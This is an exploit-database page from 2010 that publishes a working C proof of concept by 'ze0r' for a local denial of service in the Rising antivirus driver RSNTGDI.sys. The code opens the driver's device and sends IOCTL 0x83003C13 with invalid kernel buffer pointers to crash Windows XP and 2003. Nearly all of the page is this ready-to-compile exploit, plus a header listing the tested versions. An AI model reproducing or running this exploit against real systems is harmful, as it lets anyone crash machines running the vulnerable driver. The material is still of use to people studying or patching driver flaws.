Home / os / win7

[dos / poc] - Rising RSNTGDI.sys Local Denial of Service

Posted on 02 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Rising RSNTGDI.sys Local Denial of Service | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Rising RSNTGDI.sys Local Denial of Service by ze0r in dos / poc | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>========================================== Rising RSNTGDI.sys Local Denial of Service ========================================== /* On the net.We can found these file has published a BUG.In that.The BUG has found in CONTROL CODE:0x83003C0B.So.I check these file in othere CONTROL CODE.Just for fun..... # Exploit Title: [Rising RSNTGDI.sys Local Denial of Service(CONTROL CODE:83003C13) ] # Date: [2010.11.1] # Author: [ ze0r ] # Version: [Rising 2009.Publish Date:2009.10.13.] # Tested on: [Windows XPSP3 Chinese Simplified &amp; Windows 2003 Chinese Simplified] */ #include &quot;stdio.h&quot; #include &quot;windows.h&quot; HANDLE DriverHandle =0; void boom(PVOID systembuffer,PVOID userbuffer) { printf(&quot;userbuffer Is:%p &quot;,userbuffer); printf(&quot;The systembuffer Is:%p &quot;,systembuffer); DeviceIoControl(DriverHandle, 0x83003C13, systembuffer, 20, userbuffer, 20, (DWORD *)0, 0); return ; } int main(int argc, char* argv[]) { printf(&quot;------------------------------------------------------------------------------- &quot;); printf(&quot;---------------------------C0ed By:ze0r,Let&#039;s ROCK!!--------------------------- &quot;); printf(&quot;----------------------------------QQ:289791332--------------------------------- &quot;); printf(&quot;------------------------------------------------------------------------------- &quot;); DriverHandle=CreateFile(&quot;\\.\rsntgdi&quot;, 0, FILE_SHARE_READ | FILE_SHARE_WRITE , 0, OPEN_EXISTING,0,0); if (DriverHandle == INVALID_HANDLE_VALUE) { printf(&quot;Open Driver Error! &quot;); return 0 ; } printf(&quot;OK.Let&#039;s Crash It! &quot;); getchar(); boom((PVOID)0x88888888,(PVOID)0x88888888); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-02]</pre></body></html>

 

TOP